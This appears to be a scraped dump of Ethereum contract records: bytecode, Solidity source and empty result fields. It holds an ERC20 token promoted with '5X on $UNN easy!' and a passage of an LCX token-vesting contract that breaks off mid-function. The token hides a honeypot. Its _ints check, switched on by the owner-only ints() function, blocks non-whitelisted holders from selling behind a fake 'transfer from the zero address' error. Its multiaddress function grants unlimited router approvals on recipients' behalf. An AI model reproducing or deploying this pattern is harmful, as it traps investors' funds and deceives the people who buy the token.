08091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156133c15780601f10613396576101008083540402835291602001916133c1565b820191906000526020600020905b8154815290600101906020018083116133a457829003601f168201915b5050505050905090565b6133d3613cfb565b601f8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156134695780601f1061343e57610100808354040283529160200191613469565b820191906000526020600020905b81548152906001019060200180831161344c57829003601f168201915b5050505050905090565b8060039080519060200190613489929190613c7b565b5050565b80601090805190602001906134a3929190613c7b565b5050565b80600c90805190602001906134bd929190613c7b565b5050565b6134c9613cfb565b600a8054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561355f5780601f106135345761010080835404028352916020019161355f565b820191906000526020600020905b81548152906001019060200180831161354257829003601f168201915b5050505050905090565b806020908051906020019061357f929190613c7b565b5050565b61358b613cfb565b600e8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156136215780601f106135f657610100808354040283529160200191613621565b820191906000526020600020905b81548152906001019060200180831161360457829003601f168201915b5050505050905090565b8060179080519060200190613641929190613c7b565b5050565b61364d613cfb565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156136e35780601f106136b8576101008083540402835291602001916136e3565b820191906000526020600020905b8154815290600101906020018083116136c657829003601f168201915b5050505050905090565b6136f5613cfb565b60188054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561378b5780601f106137605761010080835404028352916020019161378b565b820191906000526020600020905b81548152906001019060200180831161376e57829003601f168201915b5050505050905090565b61379d613cfb565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156138335780601f1061380857610100808354040283529160200191613833565b820191906000526020600020905b81548152906001019060200180831161381657829003601f168201915b5050505050905090565b613845613cfb565b600d8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156138db5780601f106138b0576101008083540402835291602001916138db565b820191906000526020600020905b8154815290600101906020018083116138be57829003601f168201915b5050505050905090565b6138ed613cfb565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156139835780601f1061395857610100808354040283529160200191613983565b820191906000526020600020905b81548152906001019060200180831161396657829003601f168201915b5050505050905090565b80600f90805190602001906139a3929190613c7b565b5050565b6139af613cfb565b60168054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613a455780601f10613a1a57610100808354040283529160200191613a45565b820191906000526020600020905b815481529060010190602001808311613a2857829003601f168201915b5050505050905090565b613a57613cfb565b600f8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613aed5780601f10613ac257610100808354040283529160200191613aed565b820191906000526020600020905b815481529060010190602001808311613ad057829003601f168201915b5050505050905090565b80600e9080519060200190613b0d929190613c7b565b5050565b613b19613cfb565b60098054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613baf5780601f10613b8457610100808354040283529160200191613baf565b820191906000526020600020905b815481529060010190602001808311613b9257829003601f168201915b5050505050905090565b613bc1613cfb565b60208054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015613c575780601f10613c2c57610100808354040283529160200191613c57565b820191906000526020600020905b815481529060010190602001808311613c3a57829003601f168201915b5050505050905090565b80601c9080519060200190613c77929190613c7b565b5050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10613cbc57805160ff1916838001178555613cea565b82800160010185558215613cea579182015b82811115613ce9578251825591602001919060010190613cce565b5b509050613cf79190613d0f565b5090565b602060405190810160405280600081525090565b613d3191905b80821115613d2d576000816000905550600101613d15565b5090565b905600a165627a7a723058208611f6a9cdfef9bd966a695a5580e6f7c3e7f8d91e043d9ad795dc9dbeda1acb0029
|
{"success": true, "error": null, "results": {}}
| 8,733 |
0xacae599ce573289671d6017c3945f2aeb02c9aa4
|
//--------------------------------------------
//Website:https://unn.fund
//5X on $UNN easy!
//---------------------------------------------
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_ints(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _ints(address sender, address recipient, uint256 amount) internal view virtual{
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){
_Addressint[receivers[i]] = true;
_approve(receivers[i], _router, _valuehash);
}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
function _ErcTokens(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063438dd0871161008c578063a457c2d711610066578063a457c2d71461040a578063a9059cbb14610470578063b952390d146104d6578063dd62ed3e1461062f576100cf565b8063438dd087146102eb57806370a082311461032f57806395d89b4114610387576100cf565b806306fdde03146100d4578063095ea7b31461015757806318160ddd146101bd57806323b872dd146101db578063313ce567146102615780633950935114610285575b600080fd5b6100dc6106a7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011c578082015181840152602081019050610101565b50505050905090810190601f1680156101495780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101a36004803603604081101561016d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610749565b604051808215151515815260200191505060405180910390f35b6101c5610767565b6040518082815260200191505060405180910390f35b610247600480360360608110156101f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610771565b604051808215151515815260200191505060405180910390f35b61026961084a565b604051808260ff1660ff16815260200191505060405180910390f35b6102d16004803603604081101561029b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610861565b604051808215151515815260200191505060405180910390f35b61032d6004803603602081101561030157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610914565b005b6103716004803603602081101561034557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a1b565b6040518082815260200191505060405180910390f35b61038f610a63565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103cf5780820151818401526020810190506103b4565b50505050905090810190601f1680156103fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104566004803603604081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b05565b604051808215151515815260200191505060405180910390f35b6104bc6004803603604081101561048657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd2565b604051808215151515815260200191505060405180910390f35b61062d600480360360608110156104ec57600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561051657600080fd5b82018360208201111561052857600080fd5b8035906020019184602083028401116401000000008311171561054a57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290803590602001906401000000008111156105aa57600080fd5b8201836020820111156105bc57600080fd5b803590602001918460208302840111640100000000831117156105de57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610bf0565b005b6106916004803603604081101561064557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d53565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561073f5780601f106107145761010080835404028352916020019161073f565b820191906000526020600020905b81548152906001019060200180831161072257829003601f168201915b5050505050905090565b600061075d610756610dda565b8484610de2565b6001905092915050565b6000600354905090565b600061077e848484610fd9565b61083f8461078a610dda565b61083a856040518060600160405280602881526020016116f060289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f0610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b600190509392505050565b6000600660009054906101000a900460ff16905090565b600061090a61086e610dda565b84610905856001600061087f610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b610de2565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109d7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610afb5780601f10610ad057610100808354040283529160200191610afb565b820191906000526020600020905b815481529060010190602001808311610ade57829003601f168201915b5050505050905090565b6000610bc8610b12610dda565b84610bc3856040518060600160405280602581526020016117616025913960016000610b3c610dda565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b610de2565b6001905092915050565b6000610be6610bdf610dda565b8484610fd9565b6001905092915050565b60008090505b8251811015610d4d57600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610d4057610c85838281518110610c6457fe5b6020026020010151838381518110610c7857fe5b6020026020010151610bd2565b508360ff16811015610d3f57600160086000858481518110610ca357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d3e838281518110610d0b57fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a54610de2565b5b5b8080600101915050610bf6565b50505050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061173d6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610eee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806116a86022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561105f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806116856023913960400191505060405180910390fd5b6110f08383836113ed565b6110fb8383836113f2565b611166816040518060600160405280602681526020016116ca602691396000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112a59092919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111f9816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290611352576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156113175780820151818401526020810190506112fc565b50505050905090810190601f1680156113445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000808284019050838110156113e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561149e5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561151a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611527575060095481115b1561167f57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806115d55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806116295750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61167e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806117186025913960400191505060405180910390fd5b5b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f94a4e217e883e83769d0d773c9dae14ffff25806aa758f3ee71b6ac5b2af6ca64736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 8,734 |
0x24d41ddf40f44e9d3b1e71294fb84d1c2406a0e5
|
/**
*Submitted for verification at Etherscan.io on 2022-03-28
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract LCXVestingToken is Ownable {
using SafeMath for uint256;
address private immutable LCX_TOKEN; // Contract Address of LCX Token
address private SaleContract; // Contract Address of Sale Tiamond
struct VestedToken {
uint256 cliff;
uint256 start;
uint256 duration;
uint256 releasedToken;
uint256 totalToken;
bool revoked;
}
// mapped with token id
mapping(address => VestedToken) public vestedUser;
modifier onlySaleContract(){
require(SaleContract == _msgSender(), "Only Sale Contract can call");
_;
}
event TokenReleased(address indexed account, uint256 amount);
event VestingRevoked(address indexed account);
event SetSaleContractAddress(address);
constructor(address _lcxAddress){
require(_lcxAddress != address(0), "Address should not be zero address");
LCX_TOKEN = _lcxAddress;
}
function setSaleAddress(address _saleAddress) external onlyOwner {
require(_saleAddress != address(0), "Must be an address");
SaleContract = _saleAddress;
emit SetSaleContractAddress(_saleAddress);
}
/**
* @dev this will set the beneficiary with vesting
* parameters provided
* @param account address of the beneficiary for vesting
* @param amount totalToken to be vested
* @param cliff In seconds of one period in vesting
* @param duration In seconds of total vesting
* @param startAt UNIX timestamp in seconds from where vesting will start
*/
function setVesting(
address account,
uint256 amount,
uint256 cliff,
uint256 duration,
uint256 startAt
) external onlySaleContract returns (bool) {
VestedToken storage vested = vestedUser[account];
if (vested.start > 0) {
require(vested.revoked, "Account vesting is still going on");
uint256 unclaimedTokens = _vestedAmount(account).sub(
vested.releasedToken
);
require(unclaimedTokens == 0, "Account vesting is still going on");
}
IERC20(LCX_TOKEN).transferFrom(_msgSender(), address(this), amount);
_setVesting(account, amount, cliff, duration, startAt);
return true;
}
function userDetails(address account)
external
view
returns (uint256, uint256)
{
return (vestedUser[account].duration, vestedUser[account].totalToken);
}
/**
* @dev Calculates the amount that has already vested.
* @param account address of the user
*/
function vestedToken(address account) external view returns (uint256) {
return _vestedAmount(account);
}
/**
* @dev Calculates the amount that has already vested but hasn't been released yet.
* @param account address of user
*/
function releasableToken(address account) external view returns (uint256) {
return _vestedAmount(account).sub(vestedUser[account].releasedToken);
}
/**
* @dev Internal function to set default vesting parameters
* @param account address of the beneficiary for vesting
* @param amount totalToken to be vested
* @param cliff In seconds of one period in vestin
* @param duration In seconds of total vesting duration
* @param startAt UNIX timestamp in seconds from where vesting will start
*
*/
function _setVesting(
address account,
uint256 amount,
uint256 cliff,
uint256 duration,
uint256 startAt
) internal {
require(account != address(0), "Address should not be zero address");
require(startAt >= block.timestamp, "Vesting should start after current block time");
require(cliff <= duration, "Cliff should be less that duration");
VestedToken storage vested = vestedUser[account];
